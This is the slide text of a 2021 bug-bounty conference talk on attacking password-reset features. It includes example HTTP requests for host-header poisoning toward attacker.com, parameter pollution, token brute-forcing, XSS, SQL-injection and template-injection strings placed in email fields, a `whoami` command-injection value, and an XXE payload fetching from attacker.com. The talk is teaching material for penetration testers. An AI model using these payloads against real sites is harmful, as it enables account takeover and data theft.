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Playing With Password Reset Functionality

Anugrah SR
September 02, 2021

Playing With Password Reset Functionality

Talk was part of GrabCon 2021 where I presented how a single functionality like password reset can become a big attack vector for bugbounty hunters and pentesters. Multiple attack scenarios are described in this talk.

Video: https://youtu.be/JTrXOS8N9W0?t=1940

Anugrah SR

September 02, 2021
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  1. ANUGRAH S R Cyber Security Analyst at UST Passive bugbounty

    Hunter Synack Red Team member Connect with me Twitter: @cyph3r_asr | LinkedIn: anugrah-sr | Web: anugrahsr.tech Blog: p1boom.com
  2. LOOKING FOR BUGS? Bug Type Functionality Wise XSS SQL Injection

    SSRF File Upload Functionality Sign In Function Multiple Factor Authentication
  3. WHAT IS PASSWORD RESET? If a Web-app have a login,

    there be a password reset function! In order to implement a proper user management system, systems integrate a Forgot Password service that allows the user to request a password reset.
  4. WHAT IF? Let's look at the impact FULL ACCOUNT TAKEOVER

    TOKEN LEAKAGE PARAMETER POLLUTION SQL INJECTION GUESSABLE TOKEN MORE..
  5. PASSWORD RESET POISONING If you have a Host Header attack,

    Request a password with evil host! Websites that handle the value of the Host header in an unsafe way POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: example.com POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: evilhost.com
  6. POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: example.com:@evilhost.com POST

    https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: example.com X-Forwarded-Host: attacker.com POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: example.com Host: attacker.com POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: [email protected] Lab: https://portswigger.net/web-security/host-header/exploiting/password-reset-poisoning
  7. ATO: PARAMETER MANIPULATION We can pollute the parameter to get

    the reset token to attacker email POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: example.com [email protected]&[email protected] POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: example.com [email protected]
  8. RESPONSE MANIPULATION Replace Bad Response With Good One HTTP/1.1 401

    Unauthorized (“message”:”unsuccessful”,”statusCode:403,”errorDescription”:”Unsuccessful”) HTTP/1.1 200 OK (“message”:”success”,”statusCode:200,”errorDescription”:”Success”)
  9. TOKEN LEAKAGE IN RESPONSE Check the response to see if

    the token is leaked in response #Tip: Search the token in burp suite search Add json extension to endpoint, eg: resetpassword.json HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 Content-Length: length { "email" : "[email protected]" , "token" : ****** }
  10. RESET TOKEN LEAK VIA REFERER Once you visit the reset

    token link, click on any third party website eg Facebook Intercept the requst and check the referer header GET /home HTTP/1.1 Host: www.third_party.com User-Agent: Mozilla/5.0 Content-Type: application/x-www-form-urlencoded Referer: https://company.com/resetpass?token=123-456-123-456 Origin: https://www.company.com
  11. GUESSABLE TOKEN Find out how password reset token is generated

    like Timestamp , UserID , Email and Weak Cryptography POST /resetPassword HTTP/1.1 Host: www.company.com Content-Type: application/x-www-form-urlencoded Origin: https://www.company.com Content-Length: Number [email protected]&token=<UserID-Timestamp>
  12. BRUTE FORCE THE TOKEN Find out how password reset token

    by force! Use IP-Rotate, additional headers etc POST /resetPassword/change HTTP/1.1 Host: www.company.com Content-Type: application/x-www-form-urlencoded Origin: https://www.company.com Content-Length: Number [email protected]&token=FUZZ&newpass=DontHackme!
  13. IDN HOMOGRAPH ATTACK Create an account with email [email protected] Now

    generate reset password link for email test@gmáil.com.burpcollaborator.net POST /passwordreset HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Content-Type: application/x-www-form-urlencoded Content-Length: Number email=test@gmáil.com.id.burpcollaborator.net
  14. LIST OF PAYLOADS AS EMAIL ADDRESSES test+(<script>alert(0)</script>)@gmail.com test(<script>alert(0)</script>)@gmail.com test@gmail(<script>alert(0)</script>).com "<script>alert(0)</script>"@gmail.com

    "<%= 7 * 7 %>"@gmail.com test+(${{7*7}})@gmail.com "' OR 1=1 -- '"@gmail.com "test); DROP TABLE users;--"@gmail.com test@[id.collaborator.net] %@gmail.com
  15. XSS Test for XSS with [email protected]"><script>alert(document.domain)</script> payload GET /[email protected]"><script>alert(document.domain)</script> HTTP/1.1

    Host: www.company.com User-Agent: Mozilla/5.0 Content-Type: application/x-www-form-urlencoded Referer: https://previous.com/path Origin: https://www.company.com
  16. OS COMMAND INJECTION Reset password with email test@`whoami`.id.burpcollaborator.net POST /passwordreset

    HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Content-Type: application/x-www-form-urlencoded Content-Length: Number email=test@`whoami`.id.collaborator.net
  17. HTML INJECTION IN MAIL Find out for other parameters by

    using Param-miner Look if any parameter is reflected in received email, test for html injection or text injection. POST /passwordreset HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Content-Type: application/x-www-form-urlencoded Content-Length: Number [email protected]&parameter=<img src=\"http://attacker.com/?id=
  18. IDOR Test with your reset token and victim's email id/User-Id.

    POST /passwordreset HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Content-Type: application/x-www-form-urlencoded Content-Length: Number [email protected]&token=<Your-Token> POST /passwordreset HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Content-Type: application/x-www-form-urlencoded Content-Length: Number [email protected]&token=<Your-Token>
  19. XXE If password reset endpoint supports both json and xml

    Use Content Type Converter extension to change from json to xml, add your payload POST /resetPassword/change HTTP/1.1 Host: www.company.com Content-Type: application/xml <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE a [<!ENTITY % asd SYSTEM "http://attacker.com/XXE.dld">%asd;%c;]> <root>%rrr;<old>*****</old><new>*****</new></root>
  20. MFA AUTO DISABLING Sometimes MFA are auto-disabled after Password reset

    is done Enable 2FA Logout Password Reset 2FA is auto disabled
  21. SESSION EXPIRATION Test for insufficient session expiration after password change

    Open account in two different browsers In browser1 reset the password See if the session is expired in browser2
  22. USER ENUMERATION Enumerate username/email id based on difference in response

    by the webapp invalid email/username : user doesn't exist valid email/username: Password reset link is send to your email
  23. MISSING RATELIMITING Email bombing! send the password reset request to

    intruder start the attack Look at the choas you created in victim's email account Tip: [email protected]
  24. RE USABLE TOEKN Check if the token can be reused,

    if it's expired. Request password reset Dont use the link change the email address to a new email in account settings See if old token can be used
  25. RESOURCES 10 Password Reset Flaws Anugrah SR Blog ATO Password

    Reset Mahmoud M. Awali Slides Common Vulnerabilities In Forget Password Harsh Bothra MindMap